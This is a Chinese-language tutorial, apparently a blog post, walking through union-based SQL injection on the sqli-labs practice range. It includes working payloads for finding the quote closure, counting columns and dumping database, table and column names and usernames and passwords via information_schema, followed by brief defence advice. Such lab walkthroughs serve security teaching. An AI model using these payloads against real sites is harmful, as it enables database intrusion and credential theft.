一、对SQL注入的认识
SQL注入是基于在动态构造SQL动态注入语句时未对用户输入进行充分的验证和过滤,攻击者利用这个漏洞通过用户输入插入恶意代码来改变原始SQL查询的逻辑结构从而达到控制数据库的目的。
二、基础知识和准备
1、一库三表六字段
一库
information_schema
三表
schemate 库名
tables 表名
columns 字段名
六字段
schemata表的 schema_name 库名
tables 表的 table_schema 库名
tables表的 table_name 表名
columns表的 table_schema 库名
columns表的 table_name 表名
columns表的 column_name 字段名
2、HackBar插件
插件的具体下载方法大家可以去下面这篇文章里学习。
三、让我们开始做SQL注入吧
(本文用了sqli-labs-php7-master靶场做演示)
1、判断输入是否有闭合符
2、判断闭合符
3、判断字段个数
4、判断回显位
5、判断当前库名和SQL版本
6、查询所有数据库库名
7、查询指定库的所有表
8、查询字段名
9、查询字段内容
1、判断输入是否有闭合符
Payload:
1 and 1=2
如果是字符型:’1 and 1=2’会被当做一个字符不会报错
Select * from users where id=’1 and 1=2’limit 0,1
如果是数字型and 1=2变成判断条件1!=2所以不满足条件查不出来信息
Select * from users where id=1 and 1=2 limit 0,1
下面的图片就是一个有闭合符的情况,因为是字符型,所以被当成了一个字符。
2、判断闭合符
根据第一步判断是字符型,存在闭合符所以我们要进一步判断闭合符是啥,我们来看看闭合符都有啥。
id='1'
id="1"
id=(‘1’)
id=("1")
当输入一个一点不沾边的错误包裹符时不报错
当包裹符是 ' 时和输入的 ") 一点不沾边此时不报错因为 1 ”)被当做是字符串
Select * from users where id=’1 ”)’limit 0,1
当输入一个错误包裹符但这个正确包裹符是错误包裹符的一部分时报错
因为’1 ’他俩会成一对所以 )’limit 0,1 会报错因为 )’是多余的。但是我们此时就可以看出来正确包裹符因为报错信息信息中 )' ,因为 ) 后面的 ' 不是我们输入的,是他本身带的包裹符。
Select * from users where id=’1 ’)’limit 0,1
当输入包裹符正确时也会报错’1 ’’limit 0,1会报错 ,因为多了一个 ’
Select * from users where id=’1 ’’limit 0,1
3、判断字段个数
用order by 进行排序
order by n -- 当有n个数时不报错,当没有n个数时报错
当n=3时不报错,n=4就报错所以有三个字段
4、判断回显位
判断这三个字段的哪两个字段输出的
根据ID查询,这里的ID不能合法,因为合法就会查出内容,查出来就看不出来哪列回显所以ID=-1,可以判断出回显在第2、3位。
id =-1' union select 1,2,3 -- -
5、判断当前库名和mysql版本
版本只有MySQL 5.0及以上版本有information_schema库
id =-1' union select 1,database(),version()-- -
6、查询所有数据库库名
id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- -
7、查询指定库的所有表
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- -
8、查询指定库指定表的所有字段
id=-1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() -- -
9、查看字段中所有内容
id=-1 union select id,group_concat(username),group_concat(password) from security.users --+
四、防御SQL注入
了解了原理我们也应该从中得到提示,SQL注入漏洞值得我们注意,但解决这个问题并不难,对用户输入的信息进行过滤,确保输入符合预期的格式类型,对敏感信息进行加密并限制数据库用户的权限。
最后的最后!!!要在靶场测试!!! 不要违法哦!!!